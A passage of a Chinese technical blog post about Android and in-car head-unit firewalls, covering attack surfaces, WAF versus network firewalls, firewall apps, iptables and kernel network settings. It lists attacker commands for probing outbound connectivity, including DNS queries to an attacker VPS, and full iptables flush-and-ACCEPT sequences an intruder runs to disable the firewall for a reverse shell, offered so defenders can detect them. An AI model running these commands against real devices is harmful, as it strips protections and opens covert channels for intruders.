赞
踩
也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大
少走了弯路,也就错过了风景,无论如何,感谢经历
转移发布平台通知:将不再在CSDN博客发布新文章,敬请移步知识星球
感谢大家一直以来对我CSDN博客的关注和支持,但是我决定不再在这里发布新文章了。为了给大家提供更好的服务和更深入的交流,我开设了一个知识星球,内部将会提供更深入、更实用的技术文章,这些文章将更有价值,并且能够帮助你更好地解决实际问题。期待你加入我的知识星球,让我们一起成长和进步
ATTACK付费专栏长期更新,本篇最新内容请前往:
随着智能手机越来越普及,以及3G、4G、5G网络的快速发展,越来越多的用户使用手机上网冲浪。于此同时,各类恶意软件也通过网络来盗取用户手机上的的隐私,甚至控制用户的手机,因此智能手机上的防火墙应运而生
Android 通常是一个安全的操作系统,但如上所说在浏览互联网或安装应用程序的修改版本时可能会遇到恶意网站,此类恶意网站使Android系统中的个人信息和数据处于危险之中,使该Android设备的用户成为黑客的活跃目标。这就是防火墙发挥作用的地方,防火墙应用程序可让您控制与Android的连接,从而防止病毒和黑客未经授权访问您的智能手机
与PC上的环境不同, Android手机上的网络环境相对没有那么复杂。因此现行主流的Android防火墙解决方案都是对手机里的应用设置网络访问权限,而不会像PC上的防火墙那样提供强大的网络监视、数据包过滤、端口监控等功能
当然,随着云计算的发展,不单单针对主机、数据库、网站的漏洞利用攻击愈来愈多,且随着汽车的智能化、网联化、自动化快速发展,汽车的安全问题正面临前所未有的复杂挑战,带来暴露面引致汽车攻击面的增加,不少漏洞遭纰漏,其中包括埋藏在系统、设备中多年未被发现的漏洞,影响面非常广泛
因此,汽车安全也值得关注
我们来看看,随着汽车的智能化、网联化、自动化快速发展给汽车安全带来了哪些变化,同学我个人觉得汽车的安全问题正面临前所未有的复杂挑战,其中最大挑战是网联化带来暴露面增加。
那么,要攻击一辆汽车,物理接触已非必经之路。从网络安全角度看,智能网联汽车身处“人车路云”构成的复杂网络中,每一个点、每一个暴露面,包括产生的大量数据都可能成为风险点、“投毒点”
当汽车进入智能网联时代,数据不仅成为驱动汽车发展的重要价值点,还深度融入社会生活的方方面面,成为重要的基础资源
这些车具有网络连接功能,通常还具有Wi-Fi热点功能用于和其他设备分享车载网络连接。具有网络连接功能的汽车通常还会扩展出其他功能来充分利用网络连接带来的优势,例如车祸自动报警求救、远程控制、远程升级[Over the Air(OTA)Update]、安全预警等
我们来看看汽车的攻击知识图谱,如下:
这张图是从攻击者视角车联网安全会关注的点,我们来看看主要的攻击点。比如说车机是很主要的入口,WIFI、蓝牙、USB,然后还有Tbox,负责与云端后台通信,然后再往底层有一个网关,前几年可能还是传统的防火墙,现在可能会变成智能网关这样的概念,下面就是不同的域,基本走的是CAN协议,以及包括周边的一些设施,比如说充电桩、ADAS,V2X等等
现在大多数恶意软件都有一定程度的命令和控制权。黑客可以通过命令和控制权来渗透数据、告诉恶意软件下一步执行什么指令。对于每种命令和控制,攻击者都是从远程位置访问网络。因此了解网络上发生的事情对于解决这些技术至关重要,在这里就需要用到防火墙,当然Android系统中也是有防火墙应用的
在许多情况下,正确配置防火墙可以起到一定作用。比如,云服务器的一些恶意软件家族会试图在不常见的网络端口上隐藏流量,也有一些恶意软件会使用80和443等端口来尝试混入网络噪音中。在这种情况下,企业需要使用边界防火墙来提供威胁情报数据,识别恶意URL和IP地址。虽然这不会阻止所有攻击,但有助于过滤一些常见的恶意软件
如果边界防火墙无法提供威胁情报,则应将防火墙或边界日志发送到日志服务处理中心,安全引擎服务器可以对该级别数据进行深入分析
Android 防火墙实现构造图:
如上图是一个攻击者网段,一个Android 设备,以及进入Android设备中的其它两个内部网段
网络协议分析是智能硬件安全分析的一个至关重要的手段,也是最基础的分析方法之一。固件分析、手机APP分析都没有结果的情况下,需要使用网络活动分析,有的智能硬件需要你一开始就使用网络协议分析,分析出控制、通信、登录的流程,再从这几个层面对设备协议进行还原和逆向,找出逻辑上的错误等问题,最终发现漏洞,修复漏洞
网络协议分析之前,首先要分析手机端、云端、用户终端的流量关系,远程操作时手机的流量通过云端转发到用户终端,在局域网的环境下,有些智能硬件是直接跟用户终端建立连接的,所以云端没有数据
网络安全层次结构:
物理层
数据链路层
网络层
传输层
应用层
在大量TCP、UDP通信被防御系统拦截的情况下,DNS、ICMP等难以禁用的协议已经被攻击者利用,成为攻击者控制隧道的主要通道,常用的协议隧道:
流量检测是否横向?
攻击者在利用单个系统漏洞后,通常会尝试在网络内进行横向移动。甚至通常一次只针对单个系统的勒索软件也试图在网络中移动以寻找其它攻击目标。攻击者通常会先寻找一个落脚点,然后开始在各个系统中移动,寻找更高的访问权限,以期达成最终目标
比如攻击拿下一台外部机器后,会判断内网连通性,常用判断方法如下:
// ICMP协议 ping www.baidu.com // TCP协议 nc -zv 192.168.1.10 80 // HTTP协议 curl www.baidu.com:80 // curl的代理模式 curl -x proxy-ip:port www.baidu.com // DNS协议,Windows下的nslookup nslookup www.baidu.com vps-ip // DNS协议,Linux下的dig dig @vps-ip www.baidu.com
在缓解和检测对该特定技术的滥用方面,适当的网络分段可以在很大程度上缓解风险。将关键系统放置在一个子网中,将通用用户放置在另一个子网中,将系统管理员放置在第三个子网中,有助于快速隔离较小网络中的横向移动。在终端和交换机级别都设置防火墙也将有助于限制横向移动
防火墙最基本的功能就是控制在计算机网络中,不同信任程度区域间传送的数据流。例如互联网是不可信任的区域,而内部网络是高度信任的区域。以避免安全策略中禁止的一些通信,与建筑中的防火墙功能相似。它有控制信息基本的任务在不同信任的区域。 典型信任的区域包括互联网(一个没有信任的区域)和一个内部网络(一个高信任的区域)。最终目标是提供受控连通性在不同水平的信任区域通过安全政策的运行和连通性模型之间根据最少特权原则
用外行的话来说,防火墙是您的设备和互联网之间的无形屏障。它允许您创建一个虚拟屏障,过滤流量并阻止恶意活动,例如设备上的网络攻击
此外,它还允许您阻止特定应用程序连接到互联网。这就是为什么防火墙应用程序极大地有助于防止第三方应用程序访问私人和机密数据
传统的网络防火墙可以减少或防止对专用网络的未经授权访问。防火墙策略界定网络上允许的流量,任何其他访问都将被阻止。这有助于防止的一些网络流量包括:未经授权的用户;来自不安全区域的用户或设备的攻击
WAF 专门针对应用程序流量,保护面向互联网的网络区域中的 HTTP 和安全超文本传输协议 (HTTPS) 流量和应用程序。这样可以保护企业免受跨站脚本 (XSS) 攻击、分布式拒绝服务 (DDoS) 攻击和 SQL 注入式攻击等威胁
WAF 通过针对超文本传输协议 (HTTP) 流量来保护 Web 应用程序。这与标准防火墙不同,后者在外部和内部网络流量之间提供屏障
WAF 位于外部用户和 Web 应用程序之间,以分析所有 HTTP 通信。然后,它会在恶意请求到达用户或 Web 应用程序之前对其进行检测和拦截。 因此,WAF 可以保护关键业务 Web 应用程序和 Web 服务器免受零日威胁及其他应用层攻击。WAF 变得日益重要,因为随着企业推行数字化新举措,可能会使新的 Web 应用程序和应用程序编程接口 (API) 容易受到攻击
网络防火墙可保护安全局域网 (LAN) 免受未经授权的访问,以防止攻击风险。其主要目标是将安全区域与不安全区域分隔开,并控制这两者之间的通信。如果没有网络防火墙,任何具有公共互联网协议 (IP) 地址的计算机都可以在网络外部被访问,并且可能面临攻击风险
标准网络防火墙和 WAF 抵御不同类型的威胁,因此,选择正确的防火墙至关重要。网络防火墙本身并不能保护企业免受网页攻击,这种攻击只能通过 WAF 功能来防御。因此,如果没有应用防火墙,企业可能有更大一部分网络会受到通过 Web 应用程序漏洞发起的攻击。但是,WAF 无法保护网络层免受攻击,因此,它应该作为网络防火墙的补充,而不是取代网络防火墙。
Web 应用防火墙和网络防火墙解决方案在不同的层工作,防御不同类型的流量。因此,它们不是相互竞争,而是相互补充。网络防火墙通常可防御更多类型的流量,而 WAF 可处理传统方法无法应付的特定威胁。因此,最好同时使用这两种解决方案,尤其是当企业的操作系统与 Web 紧密配合时
应用防火墙和网络防火墙在技术方面的一个重要区别在于它们运行所在的安全层。开放式系统互联 (OSI) 模型定义了网络通信的各个层,该模型明确了电信和计算系统中的通信功能的特征,并使这些功能实现标准化
WAF 在 OSI 模型的第 7 层(应用层)防御攻击。例如,防御针对 Ajax、ActiveX 和 JavaScript 等应用程序的攻击,以及 Cookie 操控攻击、SQL 注入攻击和 URL 攻击。WAF 还针对用于连接网页浏览器和 Web 服务器的 Web 应用程序协议 HTTP 和 HTTPS
例如,第 7 层 DDoS 攻击将大量流量发送到服务器层,服务器层会根据 HTTP 请求生成并发送网页。WAF 可以充当反向代理,保护目标服务器免受恶意流量和过滤器请求的影响,以识别 DDoS 工具的使用,从而缓解这个问题
网络防火墙在 OSI 模型的第 3 和第 4 层运行,可保护数据传输和网络流量。例如,防御针对域名系统 (DNS)、文件传输协议 (FTP)、简单邮件传输协议 (SMTP)、安全外壳 (SSH) 和 Telnet 的攻击
WAF 解决方案可保护企业免受针对应用程序的 Web 攻击。如果没有应用防火墙,黑客可能会通过 Web 应用程序漏洞入侵更广泛的网络。WAF 可保护企业免受常见的 Web 攻击,例如:
网络防火墙可防止未经授权的访问和流量进出网络,可防御针对连接到互联网的设备和系统的网络攻击。常见的网络攻击包括:
Google Play 商店有许多防火墙应用程序的应用程序并且声称是手机上最好的防火墙应用程序的应用程序。这里推荐几款 Android 中一些出色的防火墙应用程序,它们提供了最佳保护和过滤选项,当然这里我们更多的借鉴或参考
NetGuard 是最好的防火墙应用程序之一,它提供网络统计、自定义通知和规则备份等高级功能。NetGuard 使用本地 VPN 连接来过滤您的互联网流量,并允许您阻止任何应用程序通过 Wi-Fi 或数据访问互联网。
最好的事情是您可以为系统应用程序管理和创建自己的防火墙规则。这意味着您可以轻松控制哪些系统应用程序可以连接到互联网。此外,您还可以使用 NetGuard 快速减少移动数据使用量并使其持续整个月。
最重要的是,这个应用程序可以在无根设备上完美运行。虽然该应用程序是免费使用的,但您可以通过应用程序内购买来解锁更多功能,例如 IP 流量日志、自定义阻止规则和不同的应用程序主题
下载地址:https://apkpure.com/tw/netguard-no-root-firewall/eu.faircode.netguard
Firewall No Root 是一款功能丰富的防火墙应用程序,具有井井有条的用户界面和零广告。与其他防火墙应用程序不同,此应用程序使用人工智能,因此它会在检测到时自动阻止间谍服务器。要开始使用此应用程序,您需要选择默认启动选项:静音或警告模式。
静默模式允许所有连接,您可以根据需要阻止单个连接。如果您是初学者,我们建议您选择静音模式。警告模式是检查哪些应用程序正在静默连接到不安全的服务器。选择警告模式后,防火墙将阻止所有应用程序和服务连接到互联网。然后,您可以从快速设置面板或应用程序中手动允许应用程序。
此外,您还可以应用 AdGuard、Cloudflare、Comodo Secure DNS 等提供的 DNS 服务器,设置最适合您的私有 DNS
要设置私有 DNS 服务器,请转到设置并选择网络。现在,点击Select Provider。每个 DNS 服务器都有不同的用途;例如,如果您想阻止互联网上的广告,请从列表中选择AdGuard DNS并重新启动应用程序一次。
顾名思义,这个应用程序不需要root才能正常工作。方便地,它还提供了一个日志屏幕,向您显示手机上应用程序的活动
下载地址:https://apkpure.com/tw/firewall-no-root/com.protectstar.firewall
AFWall+ 需要 root 访问权限,因为它是基于 iptables 的防火墙。因此,它不会像其他防火墙应用程序那样创建 VPN。一般来说,基于 iptables 的防火墙比基于 VPN 的防火墙(如 NetGuard 和 NetProtector)更有效。但是,随着根植 Android 智能手机变得越来越困难,使用基于 VPN 的防火墙应用程序通常更容易。
AFWall+ 提供对您的网络连接的高级控制,并使您可以轻松编辑 iptables。iptable 是 Android 中一个强大的防火墙实用程序,它允许用户创建自定义规则来控制传入和传出流量
此应用程序还允许您控制不同连接(例如漫游、VPN 甚至 LAN)的防火墙规则。如果您是根用户,则绝对应该使用此应用程序而不是其他防火墙解决方案。
在使用该应用程序多个小时后,我们发现 AFWall+ 不会对您的 CPU 造成重大损失,这与 Play 商店中的其他免费防火墙应用程序不同。这意味着该应用程序可以高效运行,内存消耗低,并且不会浪费太多电池
下载地址:https://github.com/ukanth/afwall/releases
NetProtector 是另一个防火墙应用程序,用于管理手机上应用程序的传入和传出连接。此应用程序是 NetGuard(开源防火墙应用程序)的修改版本,并与 NetGuard 共享类似的用户界面。
它带有一个简单的用户界面,并提供默认的 Wi-Fi 或数据阻止选项。您可以一键轻松避免未经授权发送个人数据。
NetProtector 完全免费使用,但有时会显示广告
下载地址:https://apkpure.com/tw/netprotector-firewall-block-all-data-no-root/com.sahani2020.netprotectfirewall
如果您正在寻找一个简单的无广告防火墙应用程序,那么 Xproguard 适合您。与我们列表中的其他应用程序相比,它提供的功能很少,但防火墙规则功能完美。
Xproguard 创建一个 VPN 连接,然后根据定义的规则转移互联网流量。由于 Android 的限制,您无法连接到多个 VPN,因此您永远不应将此应用程序与任何其他 VPN 应用程序一起使用。
由于 Xproguard 是一款基于 VPN 的防火墙应用程序,因此您不需要有根智能手机即可使用它。如果您需要一个简单而有效的防火墙应用程序,请不要再犹豫了
下载地址:https://apkpure.com/tw/xproguard-firewall/com.xproguard.firewall
绝大多数Android应用都是调用Android Framework来实现网络通讯。例如:WebView.loadUrl(),HttpClient.execute(),DefaultHttpClient.execute()
等。只需穷举这些类的函数,并将它们都Hook住,就可实现拦截上网的功能了
当然,如果想要Hook这些函数入口,有两种方式:
优点:简单、快速、可实现网络热开关(无需杀死进程)
缺点:不能拦截所有的网络访问入口。例如:某应用没有调用Android的库,而是自己实现了一个访问网络的库,或者甚至用native代码来实现,那么这时候这个方案将拦截不到任何的上网请求
在Android系统中,任何想访问网络的应用必须申请android.permission.INTERNET
权限。当Zygote在fork()一个AndroidManifest.xml中带有这个权限的应用时,会将当前应用加到inet组中。凡是一个进程的gid组中有inet,那么这个应用就有权限上网。
因此,禁止应用上网有两种方式:
android.permission.INTERNET
权限优点:相对于Android应用层:敏感函数hook来说,它可以彻底的屏蔽一个应用上网。实现起来也不复杂,但是gid组一旦设定后,应用进程将再无权限修改。因此被禁止掉上网权限的进程,想要再次获得上网权限,则必须杀死,然后重新由zygote进程fork()生成
在Linux内核中,NetworkFilter在TCP/IP的协议栈中加了相应的Hook。通过这些Hook我们可以对网络数据包可以进行过滤,丢弃,修改等。但直接使用起来相对麻烦。幸好Linux给我们提供了一个强大的工具:iptables来简化这一过程。Iptables是一个Linux命令,通过这个命令,可以对整个系统发出去的包,接收到的包,以及转发的包进行拦截,修改,拒绝等操作。具体起使用方法,这里不再展开,有兴趣的朋友可以自行到网上搜索相应的资料即可。
iptable不仅可以按照uid来禁用应用上网,还可以分别禁用某个uid的3G上网和Wifi上网。这给用户带来的极大的方便。
优点:不需要进程注入,所以实现起来相对简单。同时能够将3G网络和Wifi网络分别禁用,用户体验将更加好。此外由于iptables的功能远不止这些,基于iptables可以实现功能更加强大的防火墙。Iptable虽然好,但是也是有缺点的,运行iptables需要root权限。基于iptables的Android防火墙目前有许多,这里有一个开源的项目 http://code.google.com/p/droidwall/
有兴趣的朋友,可以研究一下
具体使用哪一种,这需要看用户的需求,以及手机的系统环境而定
android.permission.INTERNET
权限去除iptables是 2.6.x 版本开始, Linux 内核集成的 IP 信息包过滤系统。如果 Linux 系统连接到因特网或 LAN、服务器或连接 LAN 和因特网的代理服务器, 则该系统有利于在 Linux 系统上更好地控制 IP 信息包过滤和防火墙配置
因为这个防火墙软件里面有多个表格(table) ,每个表格都定义出自己的默认政策与规则
1)工作原理
netfilter/iptablesIP 信息包过滤系统是一种功能强大的工具, 可用于添加、编辑和除去规则,这些规则是在做信息包过滤决定时,防火墙所遵循和组成的规则。这些规则存储在专用的信息包过滤表中, 而这些表集成在 Linux 内核中。 在信息包过滤表中,规则被分组放在所谓的 链(chain)中
虽然 netfilter/iptables IP 信息包过滤系统被称为单个实体,但它实际上由两个组件 netfilter和 iptables 组成
netfilter 组件也称为 内核空间(kernelspace),是内核的一部分,由一些信息包过滤表组成, 这些表包含内核用来控制信息包过滤处理的规则集
iptables组件是一种工具,也称为 用户空间(userspace),它使插入、修改和除去信息包过滤表中的规则变得容易。 除非您正在使用 Red Hat Linux 7.1 或更高版本,否则需要从netfilter.org
下载该工具并安装使用它
通过使用用户空间,可以构建自己的定制规则,这些规则存储在内核空间的信息包过滤表中。 这些规则具有 目标,它们告诉内核对来自某些源、前往某些目的地或具有某些协议类型的信息包做些什么。 如果某个信息包与规则匹配,那么使用目标 ACCEPT 允许该信息包通过。还可以使用目标 DROP 或 REJECT 来阻塞并杀死信息包。对于可对信息包执行的其它操作,还有许多其它目标
根据规则所处理的信息包的类型,可以将规则分组在链中。处理入站信息包的规则被添加到 INPUT 链中。处理出站信息包的规则被添加到 OUTPUT 链中。处理正在转发的信息包的规则被添加到 FORWARD 链中。这三个链是基本信息包过滤表中内置的缺省主链。 另外,还有其它许多可用的链的类型(如 PREROUTING 和 POSTROUTING ), 以及提供用户定义的链。每个链都可以有一个 策略, 它定义“缺省目标”,也就是要执行的缺省操作,当信息包与链中的任何规则都不匹配时,执行此操作
建立规则并将链放在适当的位置之后,就可以开始进行真正的信息包过滤工作了。 这时内核空间从用户空间接管工作。当信息包到达防火墙时,内核先检查信息包的头信息,尤其是信息包的目的地。 我们将这个过程称为路由
如果信息包源自外界并前往系统,而且防火墙是打开的,那么内核将它传递到内核空间信息包过滤表的 INPUT 链。如果信息包源自系统内部或系统所连接的内部网上的其它源,并且此信息包要前往另一个外部系统, 那么信息包被传递到 OUTPUT 链。类似的,源自外部系统并前往外部系统的信息包被传递到 FORWARD 链
接下来,将信息包的头信息与它所传递到的链中的每条规则进行比较,看它是否与某条规则完全匹配。 如果信息包与某条规则匹配,那么内核就对该信息包执行由该规则的目标指定的操作。 但是,如果信息包与这条规则不匹配,那么它将与链中的下一条规则进行比较。 最后,如果信息包与链中的任何规则都不匹配,那么内核将参考该链的策略来决定如何处理该信息包。 理想的策略应该告诉内核 DROP 该信息包,如下图:
/proc/sys/net/
目录的设置方法在Linux系统中,要改变某种服务或设备的工作状态和功能,主要是通过使用命令方式和直接修改它的配置文件方式来达到目的,对于这两个目录下的文件,也可以通过这两种方式来修改这些文件内容中的值
注:当你确定要修改某个文件的当前值时,一定要保证输入的命令格式和值的内容都是正确的,因为任何的错误设置都会引起内核的不稳定,如果你不小心造成了这种问题,你就不得不重新引导系统了
与/proc/目录中其它目录不相同的是,/proc/sys/目录下的文件不仅能提供系统的有关信息,而且还允许用户立即停止或开启内核的某些特性及功能。在/proc/sys/目录中的/proc/sys/net/子目录更是与网络息息相关,我们可以通过设置此目录下的某些文件来开启与网络应用相关的特殊功能,同时,也可以通过设置这个目录下的某些文件来保护我们的网络安全
/proc/sys/net/目录主要包括了许多网络相关的主题,例如:appletalk/,ethernet/,ipv4/,ipx/,及ipv6/
。通过改变这些目录中的文件,就能够在系统运行时调整相关网络参数
在/proc/sys/net/目录下有两个目录,与现在的IPV4网络的运行息息相关,监控这两个目录下的某些文件(/proc/sys/net/core/
目录和/proc/sys/net/ipv4/
目录)的参数,能为安全分析带来意想不到的效果
使用echo和sysctl命令来修改这两个目录下文件:
sysctl命令修改:sysctl命令是为设置这两个目录中的文件而定制的,它被默认安装在/sbin/目录中, 我们可以通过使用此命令来显示和设置/proc/sys/net/目录下的文件内容。例如:/sbin/sysctl -a命令用来显示此目录下的所有文件配置内容;/sbin/sysctl -w命令用来修改此目录下指定文件中的变量值,如:/sbin/sysctl -w net.ipv4.ip_forward="1"
用来设置允许IP包转发。其它的参数,读者可以通过输入/sbin/sysctl -h命令来得到,在这里就不再具体全部列出了。要注意的是,这个命令的使用需要管理员权限的,如果用户不是以管理员身份登录的,在使用此命令前用SU命令得得管理权限后再操作
echo命令修改:例如:echo 1 > /proc/sys/net/ipv4/ip_forward
用来设置允许IP包转发;echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
用来设置不回应ICMP ECHO包。在使用echo命令时,还应特别注意此命令的输入格式,即在echo命令和值之间,以及值与在于符号(>)
之间,在于符号与要修改的文件路径之间都必需有一个空格。而且,在这两个目录中的有些文件有不上一个的值,所以,如果你想一次性传递多个值,那么,每一个值之间也应保证用空格隔开
注:用此方法修改/proc/sys/net/目录下文件中的内容在系统重新启动后,所设置的内容会全部变为默认值,因此,如果要想设置的值永久有效,可以直接把这个命令加入到/ect/rc.d/rc.local
文件中
/proc/sys/net/core/
目录此目录中包括许多设置用来控制Linux内核与网络层的交互,即当网络有什么动作时,内核做出什么样的相应反应
在其中有以下的一些重要文件:
message_burst
:设置每十秒写入多少次请求警告;此设置可以用来防止DOS攻击,缺省设置为50message_cost
:设置每一个警告的度量值,缺省为5,当用来防止DOS攻击时设置为0netdev_max_backlog
:设置当个别接口接收包的速度快于内核处理速度时允许的最大的包序列,缺省为300optmem_max
:设置每个socket的最大补助缓存大小rmem_default
:设置接收socket的缺省缓存大小(字节)rmem_max
:设置接收socket的最大缓存大小(字节)wmem_default
:设置发送的socket缺省缓存大小(字节)wmem_max
:设置发送的socket最大缓存大小(字节)/proc/sys/net/ipv4/
目录此目录中的内容用来添加网络设置,在其中的许多设置,可以用来阻止对系统的攻击,或用来设置系统的路由功能
其中有以下的这些重要的文件:
icmp_destunreach_rate、icmp_echoreply_rate、icmp_paramprob_rate、icmp_timeexeed_rate
:设置发送和回应的最大icmp包的速率,最好不要为0icmp_echo_ignore_all和icmp_echo_ignore_broadcasts
:设置内核不应答icmp echo包,或指定的广播,值为0是允许回应,值为1是禁止ip_default_ttl
:设置IP包的缺省生存时间(TTL),增加它的值能减少系统开销ip_forward
:设置接口是否可以转发包,缺省为0,设置为1时允许网络进行包转发ip_local_port_range
:当本地需要端口时指定TCP或UDP端口范围。第一数为低端口,第二个数为高端口tcp_syn_retries
:提供限制在建立连接时重新发送回应的SYN包的次数tcp_retries1
:设置回应连入重送的次数,缺省为3tcp_retries2
:设置允许重送的TCP包的次数,缺省为15防火墙,直接含义是阻挡火的蔓延,此词起源于建筑领域,用来隔离火灾,阻止火势从一个区域蔓延到另一个区域。安全中的防火墙也是形象化地体现了这一特点,通常用于两个网络之间的隔离。当然,这种隔离是网络访问,阻止非法的访问,保证合法的访问。这里的“火”是指网络中的各种攻击,而“合法”是指正常的通信报文
防火墙有隔离、防守的属性,灵活应用于网络边界、子网隔离等位置,具体如企业网络出口、大型网络内部子网隔离、数据中心边界等等。操作系统内外访问通常也有防火墙,主流的操作系统都自带强大的防火墙,只是由于管理问题,目前为止没有受到太大的重视。随着东西向的重视,诞生了很多微隔离技术,其实主机防火墙是天生的非常好的微隔离方案,最起码可以做到主机层级的微隔离
按照,是否支持状态跟踪,防火墙可划分为:
按照在OSI七层模型的位置,防火墙也可划分为:
传统意义上的防火墙技术分为三大类:
注:无论一个防火墙的实现过程多么复杂,归根结底都是在这三种技术的基础上进行功能扩展的
“检测与防御”,检查通信模式异常,根据需要确定防御措施,防火墙主要的是什么?。假定恶意攻击改变了已知通信模式。突然收到异常的定期消息,或者消息的MAC认证反复失败。有一种极端情况是拒绝服务攻击,反复发送消息,其目标是导致信息过载。这会极大影响系统的正常通信,为了抵御这类安全风险,反向路径过滤(Reverse Path Filtering,后称rp filter)就理所应当的成为了车载以太网信息安全措施当中不可少的一个功能
多啰嗦一下,比如Android 系统的网关在实际情况中,无论是在实时核还是性能核,都需要处理大量的以太网消息,造成很高的负载,如果不考虑针对大量无效信息的数据的处理就容易导致DDOS攻击,以及伪造源IP地址的客户端向网关发送虚假消息。这里就需要用到rp filter
参数(这个参数,本地看过,一般情况下是没有开启的… …,此处大家了解一下即可)
iptables处于7层协议下三层,应该是无法区分应用的来源数据包,需要借助参数来区别
rp_filter作用:
rp_filter 值说明:
设置内核参数 rp_filter
,打开/etc/sysctl.conf 配置文件,在该文件末尾添加net.ipv4.conf.all.rp_filter =1
,最后执行命令sysctl -p
生效
linux在数据包经过iptables的时候,将这些流量包的统计结果都暴露在了虚拟设备/proc下面,Android则在特定的时间进行统计,也就是将/proc下的统计结果保存到/data/system/下,原因比较简单,因为每次开关机,虚拟的文件系统/proc就会进行重新挂载,这个时候之前的所有数据就都已经没有了
用户空间的应用程序iptables允许配置Linux内核防火墙提供的表以及存储的链和规则。当前,用于iptables的内核模块仅适用于IPv4流量,为IPv6连接配置防火墙规则,而使用ip6tables,后者使用与iptables相同的命令结构
防御方法:基于UID权限或基于IP阻止网络流量的传输
iptables 并不是在所有的车机网络中都会存在的,有些是存在的,有些在量产时已经被阉割掉了,且普通用户是没有修改或删除权限,只有可读权限,以及执行的命令也是受限的,但普通权限就够我们对防火墙状态是否是开启做检测了(这里后面再将)。首先,先来看看,攻击者进入车机或(设备)后假设已获得了root权限,是否会尝试反弹一个交互式shell回去或正向shell等协议隧道来获得持久化控制设备。此处,先说第一个场景,攻击者xx一直尝试反弹tcp协议的shell或nc反弹,但就是出不去,那么攻击xx就会尝试手动关闭防火墙,反正特么的已经获取到最高权限了,想干嘛就干嘛,日天日地日空气,肯定有人又会问,为什么要去关防火墙难道就没有其它操作?当然有,比如ICMP协议、HTTP协议、IP协议隧道来做隐蔽性隧道嵌入我们的恶意数据包来达到绕过防火墙的目的,球都没得,别急,客官,一次性全讲完,你不如把我按在地上摩擦吧,咋们就讲点简单的,后续文章再一步步细化检测能力
说了一堆废话,那么攻击者手动关闭防火墙会用到哪些命令呢?如下:
1)清空所有规则
OUTPUT ACCEPT
:绝大多数的Linux服务器,默认的防火墙是有OUTPUT策略(查看是否有Chain OUTPUT (policy ACCEPT)
)。没有清空防火墙状态之前,就执行iptables -F
清空防火墙,会导致服务器打不开,需要重新配置网络才行INPUT ACCEPT
:默认策略改成ACCEPT(查看是否有Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
)注:设定为 ACCEPT,也就是允许任何封包的传输不会被阻挡;拒绝(reject)和丢弃(drop)
iptables -F iptables -F && iptables -t nat -F && iptables -t mangle -F && iptables -X 或1 # 将每个内置链的默认策略设置为ACCEPT iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT iptables -F PREROUTING ACCEPT POSTROUTING ACCEPT 或2 # echo "停止防火墙,删除所有规则、表和链,允许所有人访问" # 然后刷新nat和mangle表,刷新所有链(-F),并删除所有非默认链(-x): iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT
通过命令【iptables -L | more
】查看防火墙策略,如果输出内容为【Chain INPUT (policy DROP)】,再输入命令【iptables -P INPUT ACCEPT
】修改策略,再执行命令【iptables -L | more
】确认策略为【Chain INPUT (policy ACCEPT)】后,再执行【iptables -F
】可清除所有规则来暂时停止防火墙
2)允许所有通讯
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
那可能是正常情况,但又存在风险的执行命令又有哪些?比如:
iptables -P INPUT ACCEPT
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
注:这里有个误区,就是Android跟Ubuntu 是有一定区别的。比如Ubuntu 默认有装iptables,可通过dpkg -l
或which iptables确认,Ubuntu默认没有iptables配置文件,需通过iptables-save > /etc/network/iptables.up.rules
生成。iptables配置文件路径及文件名建议为/etc/network/iptables.up.rules
,因为执行iptables-apply
默认指向该文件,也可以通过-w参数指定文件。Ubuntu 没有重启iptables的命令,执行iptables-apply
生效。Ubuntu iptables默认重启服务器后清空,需在/etc/network/interfaces
里写入pre-up iptables-restore < /etc/network/iptables.up.rules
才会开机生效;在Ubuntu里可以通过iptables-save保存规则后,然后对之前生成的规则每次遍历检测(切记权限只能是可读),但每次重启会删除掉之前的规则,Ubuntu中可以将其放入/etc/network/interfaces
来保障重启后规则不会被清空。但Android中压根就没有Ubuntu中的这些鬼东东,此时该咋弄?来,我们先按照上面说的方式清空防火墙先
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -F
PREROUTING ACCEPT
POSTROUTING ACCEPT
防火墙,现在将允许所有网络通信。如果现在列出规则,将看到没有规则,只剩下三个默认链(INPUT、FORWARD和OUTPUT)
第一种检测方式:遍历iptables(每隔5分钟),如果只存在默认如下为ACCEPT,且是否为空,如果都为true,就表示当前系统没有启用iptables 防火墙规则
第二种检测方式:通过APP 防火墙做限制,察觉到默认规则不一样,就强制重新变回之前的默认规则或篡改成功之前提示执行失败,做防篡改防火墙的功能
iptables在Android源代码发行版中可用,在Android中是硬编码好的,如下是一个Android设备和Android 车机设备的默认规则对比,可以看得出来前三个默认链的规则是一样的,只是部分字段名称不太一样:
当清空后,再次列出规则,将看到没有规则,只剩下三个默认链(INPUT、FORWARD和OUTPUT),如下图:
VOG-AL00:/ # iptables -L -v iptables -L -v Chain INPUT (policy ACCEPT 36 packets, 2638 bytes) pkts bytes target prot opt in out source destination Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 34 packets, 2593 bytes) pkts bytes target prot opt in out source destination Chain bw_FORWARD (0 references) pkts bytes target prot opt in out source destination Chain bw_INPUT (0 references) pkts bytes target prot opt in out source destination Chain bw_OUTPUT (0 references) pkts bytes target prot opt in out source destination Chain bw_costly_shared (0 references) pkts bytes target prot opt in out source destination Chain bw_data_saver (0 references) pkts bytes target prot opt in out source destination Chain bw_happy_box (0 references) pkts bytes target prot opt in out source destination Chain bw_penalty_box (0 references) pkts bytes target prot opt in out source destination Chain fw_FORWARD (0 references) pkts bytes target prot opt in out source destination Chain fw_INPUT (0 references) pkts bytes target prot opt in out source destination Chain fw_OUTPUT (0 references) pkts bytes target prot opt in out source destination Chain fw_standby (0 references) pkts bytes target prot opt in out source destination Chain natctrl_FORWARD (0 references) pkts bytes target prot opt in out source destination Chain oem_fwd (0 references) pkts bytes target prot opt in out source destination Chain oem_out (0 references) pkts bytes target prot opt in out source destination Chain st_OUTPUT (0 references) pkts bytes target prot opt in out source destination Chain st_clear_caught (0 references) pkts bytes target prot 